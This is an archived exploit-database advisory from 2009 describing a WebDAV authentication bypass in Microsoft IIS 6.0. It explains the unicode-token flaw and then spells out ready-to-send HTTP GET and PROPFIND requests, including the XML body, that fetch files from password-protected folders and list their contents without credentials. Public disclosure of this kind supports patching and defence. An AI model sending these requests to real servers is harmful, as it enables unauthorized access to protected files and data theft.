Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)

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archive: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8704.pdf (2009-IIS-Advisory.pdf)

   *** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***

Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

Discovered by Kingcope - May 12th, 2009


Affected Vendors

      Microsoft

Affected Products

      Web Server

Vulnerability Details

This vulnerability allows remote attackers to bypass access restrictions
on vulnerable installations of Internet Information Server 6.0. The
specific flaw exists within the WebDAV functionality of IIS 6.0. The Web
Server fails to properly handle unicode tokens when parsing the URI and
sending back data. Exploitation of this issue can result in the
following:

         Authentication bypass of password protected folders
         Listing, downloading and uploading of files into a password protected WebDAV folder

Authentication bypass of password protected folders

Assume there is a password protected folder in
„d:\inetpub\wwwroot\protected\“. The password protection mechanism is
not relevant for the attack to work. Inside this folder there is a file
named „protected.zip“

The attacker sends a HTTP GET request to the web server.

         GET /  %c0%af/protected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

As seen above the URI contains the unicode character '/' (%c0%af). This
unicode character is removed in a WebDAV request. „Translate: f“
instructs the web server to handle the request using WebDAV. Using this
malicious URI construct the webserver sends the file located at
„/protected/protected.zip“ back to the attacker without asking for
proper authentication. Another valid request an attacker might send to
the web server is:

         GET /prot%c0%afected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

IIS 6.0 will remove the „%c0%af“ unicode character internally from the
request and send back the password protected file without asking for
proper credentials. ASP scripts cannot be downloaded in this way unless
serving of script source-code is enabled.

Listing files in a password protected WebDAV folder

The attack on WebDAV folders is similar. The attacker can bypass the
access restrictions of the password protected folder and list, download,
upload and modify files. The attacker sends a PROPFIND request to the
web server.

        PROPFIND /protec%c0%afted/ HTTP/1.1
        Host: servername
        User-Agent: neo/0.12.2
        Connection: TE
        TE: trailers
        Depth: 1
        Content-Length: 288
        Content-Type: application/xml
        <?xml version="1.0" encoding="utf-8"?>
        <propfind xmlns="DAV:"><prop>
        <getcontentlength xmlns="DAV:"/>
        <getlastmodified xmlns="DAV:"/>
        <executable xmlns="http://apache.org/dav/props/"/>
        <resourcetype xmlns="DAV:"/>
        <checked-in xmlns="DAV:"/>
        <checked-out xmlns="DAV:"/>
        </prop></propfind>

IIS responds with the directory listing of the folder without asking for a password.

Credit

This vulnerability was discovered by:
        Nikolaos Rangos
        Contact: [email protected]
        Greetings to: alex and andi

# milw0rm.com [2009-05-15]